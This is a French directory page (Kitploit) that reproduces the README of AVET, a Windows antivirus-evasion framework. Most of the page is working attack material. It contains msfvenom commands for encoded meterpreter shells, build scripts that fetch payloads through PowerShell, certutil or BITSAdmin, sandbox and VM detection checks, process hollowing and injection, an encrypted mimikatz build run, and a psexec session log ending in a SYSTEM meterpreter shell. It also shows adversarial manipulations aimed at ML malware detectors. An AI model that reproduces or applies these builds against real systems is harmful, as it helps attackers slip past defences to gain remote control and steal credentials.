Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
avet — Outil d'évasion antivirus | Kitploit
Outils/GitHubGitHub/govolution/avet
Outils de Chiffrement/DéchiffrementFrameworks d'ExploitationGénération de PayloadsÉvasion IDS/IPSShellcodeTests d'IntrusionApprentissage AutomatiqueArticles et RechercheApprentissage et ÉducationRed TeamingAttaque Adversariale
1.8k331il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
govolution/avet

avet

Outil d'évasion antivirus

Voir le dépôt

Outil d'évasion antivirus

AVET n'est plus développé en raison de l'évolution technique et des contraintes de temps.

AVET est un outil d'évasion antivirus, développé pour faciliter la vie des testeurs d'intrusion et pour expérimenter les techniques d'évasion antivirus, ainsi que d'autres méthodes utilisées par les logiciels malveillants. Pour un aperçu des nouvelles fonctionnalités de la v2.4, ainsi que des versions précédentes, consultez le fichier CHANGELOG.

Table des matières

  • Installation

  • Docker

  • AVET la manière simple

  • AVET la manière normale

  • Documentation (cliquez pour développer)
    • Méthodes de récupération des données
    • Chiffrement et encodage
    • Évitement de sandbox
    • Exécution de commandes supplémentaires
    • Outils d'aide
    • AVET et metasploit psexec
    • Exemples adverses
  • Plus

Quelques fonctionnalités

  • lorsque vous exécutez un fichier .exe créé avec msfpayload & co, le fichier sera souvent reconnu par un logiciel antivirus
  • AVET est un outil d'évasion antivirus ciblant les machines Windows avec des fichiers exécutables
  • différents types de charges utiles d'entrée peuvent désormais être utilisés : shellcode, exe et dlls
  • plus de techniques disponibles : injection de shellcode/dll, process hollowing et plus encore
  • méthodes de récupération flexibles pour la charge utile, la clé de déchiffrement, etc.
  • utilisation comme dropper
  • L'enchaînement de plusieurs itérations d'AVET vous permet d'ajouter plusieurs couches d'évasion, si nécessaire
  • combinaison de techniques : téléchargez votre charge utile chiffrée via PowerShell, tout en fournissant la clé de déchiffrement via un argument de ligne de commande au moment de l'exécution, et enfin injectez votre charge utile dans un autre processus, en choisissant parmi plusieurs techniques
  • vérifications de base du sandbox
  • génération d'exemples adverses contre les détecteurs statiques basés sur l'apprentissage automatique
  • exécutez tous les scripts de build disponibles avec build_script_tester.py, cela pourrait également intéresser les chercheurs pour construire un ensemble d'échantillons « malveillants » utilisant différentes techniques d'évasion et d'injection

Note importante

Toutes les techniques ne contourneront pas tous les moteurs antivirus. Si une technique ou un script de build ne fonctionne pas, veuillez en tester une autre. N'hésitez pas à expérimenter ! Après tout, c'est une boîte à outils - mais vous devez manier le marteau vous-même.

Installation

Les instructions d'installation s'appliquent pour Kali 64 bits et tdm-gcc !

Vous pouvez utiliser le script de configuration :```bash ./setup.sh

root@kitploit:~
Cela devrait automatiquement vous permettre de démarrer en installant/configurant wine et en installant tdm-gcc.
Vous devrez rapidement cliquer à travers l'interface graphique d'installation de tdm-gcc - les paramètres standard devraient convenir.
Le script vous demandera également si vous souhaitez installer les dépendances d'AVET, qui sont nécessaires pour utiliser certains des scripts de compilation. Les dépendances récupérées seront placées dans des dossiers séparés à côté du dossier avet.


Les dépendances récupéreront les dernières versions de :
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)


Si pour une raison quelconque vous souhaitez installer wine et tdm-gcc manuellement :
- [Comment installer tdm-gcc avec wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

Si vous n'utilisez pas Kali ou ne souhaitez pas installer Metasploit sur votre système, vous pouvez utiliser le conteneur Docker à la place.
Le conteneur encapsule Metasploit et avet et les échantillons seront créés dans votre répertoire actuel.
Il est également possible d'utiliser un éditeur de texte graphique comme gedit.

Construction du conteneur :```bash
sudo docker build -t avet:v0.1 .

Utilisation :```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

root@kitploit:~
Pour une meilleure expérience, il est recommandé de créer un alias pour cela.```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVET en toute simplicité

avet.py est un petit utilitaire Python conçu pour vous aider à utiliser l'outil.

Il liste tous les scripts actuellement présents dans le dossier build. Après en avoir sélectionné un, vous pourrez parcourir le script ligne par ligne, avec la possibilité de modifier le contenu à la volée.

Cette fonctionnalité est particulièrement utile car vous pouvez définir de nouvelles variables LHOST et LPORT pour msfvenom à chaque fois que vous exécutez un script de build via fabric. Vous pouvez définir des valeurs par défaut pour LHOST et LPORT dans le fichier /build/global_connect_config.sh, qui sont utilisées si vous ne les redéfinissez pas.

Ces modifications sont temporaires, ce qui signifie que tout changement que vous apportez ne persistera pas dans le script de build sur le disque. La version modifiée est exécutée une fois, et votre exécutable est construit.

Voici un exemple rapide (Cliquez pour développer) :``` python3 avet.py
root@kitploit:~
                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

Télécharger l’outil

Which Script would you like to configure and build? Enter the corresponding number -> 43

DESCRIPTION :

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

Configure the Build Script

enable debug output

-> enable_debug_print

generate key file with preset key

-> generate_key preset aabbccdd1122

Do you want to add sandbox evasions? [y/N] -> N

Executable will be created Shortly please wait.

*** ============================================= ***

root@kitploit:~
     .==,_                                          
    .===,_`\\                                        
  .====,_ ` \\      .====,__                         

--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /


|\ __ |\ \ / /|\ \ |_ \ \ \ |\ \ \ \ / / | \ _ |__|\ _| \ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _
\ \ \ \ _\ _\ _/ / \ _\ \ __
|
|||||/ |___| ||

*** ============================================= ***

Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Your executable should be in the output folder!

root@kitploit:~
</details>

## AVET la manière normale

Bien sûr, il est possible d’exécuter toutes les commandes pas à pas depuis la ligne de commande. Cependant, dans le dossier « build », vous trouverez des scripts de construction préconfigurés pour les cas d’utilisation pertinents. 
Les scripts de construction eux-mêmes sont écrits de manière à devoir être appelés depuis le répertoire avet :```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh

Vous pouvez définir des valeurs LHOST et LPORT par défaut pour les charges utiles metasploit dans le fichier /build/global_connect_config.sh, qui sont utilisées si vous ne les redéfinissez pas.

Exemples d'utilisation

Générez un exécutable de « process hollowing » 32 bits en deux étapes (comme dans build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh) :

D'abord, générez la charge utile de « hollowing » avec AVET :

  • génération du shellcode 32 bits meterpreter/reverse_https
  • le shellcode meterpreter sera chiffré par XOR avec une clé prédéfinie de 5 octets
  • le shellcode sera compilé dans l'exécutable généré
  • des vérifications d'évasion sandbox par environnement (fopen et gethostbyname) seront effectuées avant l'exécution du shellcode

Ensuite, construisez l'exécutable « dropper » qui délivre la charge utile de la première étape via hollowing :

  • compilation statique de la charge utile de la première étape dans l'exécutable
  • la charge utile sera chiffrée par XOR avec une clé prédéfinie différente de 5 octets
  • à nouveau, des vérifications d'évasion sandbox par environnement (fopen et gethostbyname) seront effectuées avant le hollowing
  • le PID cible du hollowing sera fourni via un argument en ligne de commande lors de l'exécution

Vous obtenez ainsi une charge utile meterpreter à deux couches, vérifiée par environnement et chiffrée, injectée par hollowing dans un processus de votre choix. Bien que les paramètres du script de construction soient principalement à des fins de démonstration, vous disposez d'une grande flexibilité pour personnaliser votre exécutable généré en apportant de simples modifications au script de construction.

Vous pouvez changer les méthodes de récupération des données : au lieu de compiler statiquement la plupart des données dans l'exécutable, vous pouvez télécharger votre charge utile de hollowing via powershell, télécharger la clé de déchiffrement via sockets, utiliser un chiffrement différent ou d'autres vérifications environnementales, etc.

Ou essayez d'ajouter davantage de couches d'évasion en effectuant une troisième itération de construction. Ou changez de charge utile. Vous voulez utiliser Mimikatz à la place ? Convertissez-le en shellcode via https://github.com/hasherezade/pe_to_shellcode, et modifiez la charge utile dans le script de construction.

Bien sûr, vous pouvez également concevoir des constructions plus minimalistes, comme exécuter un shellcode non chiffré avec une seule vérification environnementale, ou peut-être que 50 itérations de shikata suffisent pour atteindre votre objectif ? Choisissez/modifiez les scripts de construction selon vos besoins.

Scripts de construction

Ci-dessous se trouve une liste de tous les scripts de construction actuellement fournis. Les noms devraient donner une indication sur la fonctionnalité de chaque script. Pour des informations détaillées, consultez les commentaires à l'intérieur des scripts. N'hésitez pas à modifier/écrire vos propres scripts de construction pour créer votre exécutable personnalisé !

Cliquez pour dérouler ``` build_40xshikata_revhttpsunstaged_win32.sh build_50xshikata_revhttps_win32.sh build_50xshikata_quiet_revhttps_win32.sh build_asciimsf_fromcmd_revhttps_win32.sh build_asciimsf_revhttps_win32.sh build_avetenc_dynamicfromfile_revhttps_win32.sh build_avetenc_fopen_revhttps_win32.sh build_avetenc_mtrprtrxor_revhttps_win64.sh build_calcfromcmd_50xshikata_revhttps_win32.sh build_calcfrompowersh_50xshikata_revhttps_win32.sh build_cpucores_revhttps_win32.sh build_checkdomain_rc4_mimikatz.sh build_disablewindefpsh_xorfromcmd_revhttps_win64.sh build_dkmc_downloadexecshc_revhttps_win32.sh build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh build_downloadbitsadmin_revhttps_win32.sh build_downloadcertutil_revhttps_win32.sh build_downloadcurl_mtrprtrxor_revhttps_win64.sh build_downloadiexplorer_revhttps_win32.sh build_downloadpsh_revhttps_win32.sh build_downloadsocket_mtrprtrxor_revhttps_win64.sh build_downloadsocket_revhttps_win32.sh build_dynamicfromfile_revhttps_win32.sh build_fibonacci_rc4_mimikatz.sh build_fopen_mtrprtrxor_revhttps_win64.sh build_fopen_quiet_revhttps_win32.sh build_fopen_revhttps_win32.sh build_getchar_rc4_mimikatz.sh build_gethostbyname_revhttps_win32.sh build_hasvmkey_revhttps_win32.sh build_hasvmmac_revtcp_win32.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh build_kaspersky_fopen_shellrevtcp_win32.sh build_mimikatz_pe2shc_xorfromcmd_win64.sh build_pause_rc4_mimikatz.sh build_rc4_interactive_pwsh_mimikatz_win64.sh build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh build_rc4enc_mimikatz_win64.sh build_sleep_rc4_mimikatz.sh build_sleepbyping_rc4_mimikatz.sh build_timedfibonacci_rc4_mimikatz.sh buildsvc_20xshikata_bindtcp_win32.sh ```

Documentation

Méthodes de récupération des données

Ces méthodes sont compatibles avec toutes les sources de données d'AVET et peuvent être utilisées telles quelles dans le script de construction.

Quelques exemples:```

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd

Download 64-bit shellcode via powershell, and execute.

set_payload_source download_powershell set_payload_execution_method exec_shellcode64

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

set_key_source download_socket set_decoder xor

Retrieves the tuple (target PID, dll path) from command line on execution

set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll

root@kitploit:~
Si des fonctionnalités sont ignorées/non utilisées, vous devez spécifier un comportement de type NOP à la place :```
set_command_source no_data
set_command_exec no_command

static_from_file

Les données sont extraites d'un fichier et compilées statiquement dans l'exécutable généré. Pour que cela fonctionne, les données doivent être fournies sous forme d'un tableau de style C au moment de la compilation, comme``` unsigned char buf[] = "\x00\x11\x22\x33";

root@kitploit:~
#### static_from_here
Les données sont compilées statiquement dans l'exécutable généré, récupérées à partir de l'argument spécifié dans le script de build.

#### dynamic_from_file
Les données sont lues à partir d'un fichier au moment de l'exécution.

#### from_command_line_hex
Récupère les données à partir d'une chaîne hexadécimale au format "11aabb22.." (depuis la ligne de commande).

#### from_command_line_raw
Récupère les données à partir d'un argument de ligne de commande. La chaîne ASCII donnée est interprétée comme des données brutes en octets.

#### download_certutil
Télécharge les données depuis une URI spécifiée, en utilisant ```certutil.exe -urlcache -split -f```.
Dépose le fichier téléchargé sur le disque avant de lire les données.

#### download_curl
Télécharge les données en utilisant curl.
Dépose le fichier téléchargé sur le disque avant de lire les données.

#### download_internet_explorer
Télécharge les données depuis une URL spécifiée, en utilisant Internet Explorer.
Dépose le fichier téléchargé sur le disque avant de lire les données.

#### download_powershell
Télécharge les données depuis une URI spécifiée via powershell.
Dépose le fichier téléchargé sur le disque avant de lire les données.

#### download_socket
Télécharge les données depuis une URI spécifiée, en utilisant des sockets.
Les données sont lues directement en mémoire, aucun fichier n'est déposé sur le disque.

#### download_bitsadmin
Télécharge les données en utilisant l'utilitaire Windows BITSAdmin.
Dépose le fichier téléchargé sur le disque avant de lire les données.


### Méthodes d'exécution de la charge utile
Comment exécuter/délivrer la charge utile. Les méthodes d'injection/hollowing nécessitent des informations supplémentaires sur la cible d'injection, qui peuvent être fournies via ```set_payload_info_source <the_info>``` (voir les méthodes de récupération de données).

#### exec_shellcode
Exécute un shellcode 32 bits avec une liaison de fonction C.

#### exec_shellcode64
Exécute un shellcode 64 bits avec une liaison de fonction C et VirtualProtect.

#### exec_shellcode_ASCIIMSF
Exécute un shellcode encodé ASCIIMSF via ```call eax```.

#### hollowing32
Instancie un nouveau processus, découpe l'image d'origine et creuse la charge utile donnée dans le nouveau processus.
La charge utile est une image exécutable 32 bits. Fonctionne sur des cibles 32 bits.

#### hollowing64
Identique à hollowing32, mais avec des charges utiles PE 64 bits pour des processus cibles 64 bits.

#### inject_dll
Injecte une DLL dans un processus cible, en utilisant ```CreateRemoteThread```.
L'injection fonctionne pour les charges utiles 32 bits dans les processus 32 bits, et pour les charges utiles 64 bits dans les processus 64 bits, respectivement.

#### inject_shellcode
Injecte un shellcode dans un processus cible, en utilisant ```CreateRemoteThread```.
L'injection fonctionne pour les shellcodes 32 bits dans les processus 32 bits, et pour les shellcodes 64 bits dans les processus 64 bits, respectivement.


### Chiffrement et encodage
AVET fournit des encodeurs pour chaque schéma, qui peuvent être appliqués sur la charge utile avant compilation/livraison.
Lors de l'exécution, le décodeur spécifié désobfusque à nouveau la charge utile à l'exécution.

Voici un exemple RC4, où la clé de déchiffrement est récupérée depuis la ligne de commande au format hexadécimal au moment de l'exécution :```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4

Vous pouvez également ignorer la fonctionnalité de codage en ne codant pas davantage le shellcode, et en définissant :``` set_key_source no_data set_decoder none

root@kitploit:~
#### xor
XOR déroulant, prenant en charge les clés multi-octets.

#### avet
Encodage personnalisé, réinterprétant le format ASCII.

#### rc4
Chiffrement/déchiffrement RC4, avec longueur de clé flexible.

### Contournement du débogueur et du bac à sable
Ce sont des vérifications environnementales effectuées avant l'encodage éventuel et l'exécution de la charge utile.
Si un environnement d'exécution indésirable est détecté (par exemple un bac à sable antivirus), l'exécution s'arrête.

Actuellement, vous pouvez mettre en file d'attente jusqu'à 10 vérifications arbitraires. L'utilisation multiple de la même technique est prise en charge.
La limite de la file d'attente *EVASION_ARRAY_SIZE* peut cependant être facilement modifiée dans *avet.c*.

#### is debugger present
Vérifie avec la fonction isDebuggerPresent() si un débogueur est présent.
Quitte si vrai.```
add_evasion is_debugger_present

sleep

Suspendre pendant un certain temps avant l'exécution. La durée (en secondes) peut être spécifiée dans le script de build, comme```

sleep for 3 seconds

add_evasion evasion_by_sleep 3

root@kitploit:~
#### pause par ping
Arrête l'exécution du programme pendant un nombre spécifié de secondes en invoquant une commande ping chronométrée contre localhost.
Le programme envoie un ping chaque seconde.```
add_evasion sleep_by_ping 4

check fast forwarding

Vérifier si le sandbox utilise le fast forwarding pour réduire le temps de vérification heuristique. Le temps local et le sleep sont utilisés.``` add_evasion check_fast_forwarding

root@kitploit:~
#### get tickcount
Vérifie si le sandbox utilise le fast forwarding pour réduire le temps de vérification heuristique. Le temps de fonctionnement et le sommeil sont utilisés.```
add_evasion get_tickcount

Username

Récupérer le nom d'utilisateur et le comparer avec le nom d'utilisateur donné. Quitter si cela ne correspond pas.``` add_evasion has_username 'IEUser'

root@kitploit:~
#### Messagebox
Afficher une simple Messagebox avant l'exécution. Si l'arithmétique n'est pas résolue correctement, le programme se ferme.```
add_evasion interaction_msg_box

getchar

Attendez que l'entrée soit fournie via getchar.``` add_evasion interaction_getchar

root@kitploit:~
#### system pause
Exécute system("pause"), ce qui fait attendre le cmd généré (et notre processus principal) jusqu'à une pression de touche.```
add_evasion interaction_system_pause

fopen

Vérifie l'existence d'un fichier. S'il n'est pas trouvé, arrête l'exécution. Le nom du fichier peut être spécifié dans le script de construction, comme``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'

root@kitploit:~
#### bios info
Vérifie s'il est possible de récupérer la table firmware SMBIOS. Arrête l'exécution dans le cas contraire.```
add_evasion get_bios_info

gethostbyname

Essayer de résoudre un nom d'hôte de votre choix. Si gethostbyname retourne une valeur non NULL, arrêter l'exécution. Le nom d'hôte à vérifier peut être spécifié dans le script de construction, comme``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'

root@kitploit:~
#### get_cpu_cores
Vérifie le nombre de cœurs CPU sur la cible. Si le nombre est inférieur à la valeur spécifiée, arrête l'exécution.```
add_evasion get_cpu_cores 2

has_vm_mac

Vérifie les préfixes MAC spécifiques au fournisseur. Si identifiés, arrête l'exécution.``` add_evasion has_vm_mac

root@kitploit:~
#### has_vm_regkey
Vérifie les clés de registre spécifiques au fournisseur. Si une est identifiée, arrête l'exécution.```
add_evasion has_vm_regkey

hide_console

Pas vraiment une technique d'évasion, mais cache votre fenêtre de console ;)``` add_evasion hide_console

root@kitploit:~
#### Date d'installation
Récupère la date d'installation de Windows et la compare à celle spécifiée. Si les dates ne correspondent pas, arrête l'exécution. La date doit être spécifiée au format dd/mm/yyyy.```
add_evasion get_install_date '24/11/2007'

Nombre de processus

Comptez le nombre de processus en cours d'exécution. Si le nombre de processus est inférieur au seuil donné, arrêtez l'exécution.``` add_evasion get_num_processes 50

root@kitploit:~
#### Standard Browser
Lire la clé de registre pour obtenir le navigateur par défaut. Si le navigateur ne correspond pas à la valeur donnée, arrêter l'exécution. Les valeurs possibles sont MSEdgeHTM, Firefox ou ChromeHTML.```
add_evasion get_standard_browser 'Firefox'

Domaine

Interroge le domaine DNS dans lequel se trouve la cible. Si la cible ne se trouve pas dans le domaine attendu tel que spécifié, le programme se termine.``` add_evasion get_computer_domain 'domain.com'

root@kitploit:~
#### Calcul
Fibonacci

Calcule les itérations spécifiées de la série de Fibonacci.
Produira probablement des résultats erronés pour n plus grand en raison des limites des entiers.```
# 10 iterations
add_evasion computation_fibonacci 10

Fibonacci chronométré

Arrête les calculs de Fibonacci après environ le nombre de secondes spécifié.```

Stops computation after 20 seconds

add_evasion computation_timed_fibonacci 20

root@kitploit:~
#### Dossiers et plus
Vérifier si l'artefact existe, arrêter l'exécution dans le cas contraire. Les chemins doivent être au format Unix.

Fond d'écran :```
add_evasion has_background_wp

Vérifier le dossier :``` add_evasion has_folder 'C:/Users/user/Downloads/'

root@kitploit:~
Vérifier le bureau public :```
add_evasion has_public_desktop

Vérifier la Corbeille``` add_evasion has_recycle_bin

root@kitploit:~
Vérifier le dossier de fichiers récents```
add_evasion has_recent_files

Vérifier le lecteur réseau``` add_evasion has_network_drive

root@kitploit:~
### Exécution de commande supplémentaire
Vous permet d'exécuter une charge utile cmd/powershell supplémentaire directement après les éventuelles fonctions de contournement de sandbox. La source de la charge utile est compatible avec les méthodes de récupération de données d'AVET.

L'exemple suivant télécharge une charge utile powershell via BITSAdmin :```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell

Outils d'aide

data_raw_to_c

Prend des données brutes en entrée depuis un fichier, les convertit au format tableau C et écrit la sortie dans un autre fichier. Cela aide à fournir le format correct pour la méthode de récupération de données static_from_file.

generate_key

Utilitaire de génération de clé. Génère soit une clé aléatoire (non cryptographique) soit prend une clé prédéfinie en entrée, et écrit les données brutes de la clé dans un fichier spécifié. Cela aide à fournir le matériel clé pour la fonctionnalité de chiffrement d'AVET.

sh_format

Utilitaire d'AVET 1.3 qui effectue le codage AVET.

AVET & metasploit psexec

AVET est compatible avec le module psexec de metasploit. Pour cela, l'exécutable généré doit être compilé en tant que service Windows, ce qui est implémenté en utilisant avetsvc.c. Considérons le script de construction d'exemple correspondant

build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash

Designed for use with msf psexec module!

print AVET logo

cat banner.txt

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

. build/global_win32.sh

import global default lhost and lport values from build/global_connect_config.sh

. build/global_connect_config.sh

override connect-back settings here, if necessary

LPORT=$GLOBAL_LPORT

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt

import feature construction interface

. build/feature_construction.sh

add evasion techniques

add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'

generate key file

generate_key preset aabbcc12de input/key_raw.txt

encode shellcode

encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt

array name buf is expected by static_from_file retrieval method

./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf

no command preexec

set_command_source no_data set_command_exec no_command

set shellcode source

set_payload_source static_from_file input/scenc_c.txt

convert generated key from raw to C into array "key"

./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key

set key source

set_key_source static_from_file input/key_c.txt

set payload info source

set_payload_info_source no_data

set decoder

set_decoder xor

set shellcode binding technique

set_payload_execution_method exec_shellcode

enable debug printing

enable_debug_print to_file C:/avetdbg.txt

compile as service

$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe

cleanup

cleanup_techniques

root@kitploit:~
Et du côté de Metasploit :```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run

[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200

msf exploit(psexec) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)

msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows

Exemples adversariaux

Les exemples adversariaux sont des entrées spécialement conçues dans le but d’amener les modèles d’apprentissage automatique à une erreur de classification.

Pour utiliser cette méthode, veuillez créer un environnement virtuel et installer les dépendances nécessaires à partir de requirements.txt.

Manipulations pratiques

Cinq manipulations préservant la fonctionnalité pour les fichiers PE sont disponibles :

Practical Manipulations

Pour appliquer la manipulation pratique au malware avec des octets aléatoires injectés, utilisez la commande gen_adversarial_exe suivie du nom de la manipulation pratique et du chemin vers le fichier comme paramètres. Les manipulations disponibles sont full_dos, extend, shift, padding, section_injection.

Par exemple :```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe

root@kitploit:~
### Optimisation génétique
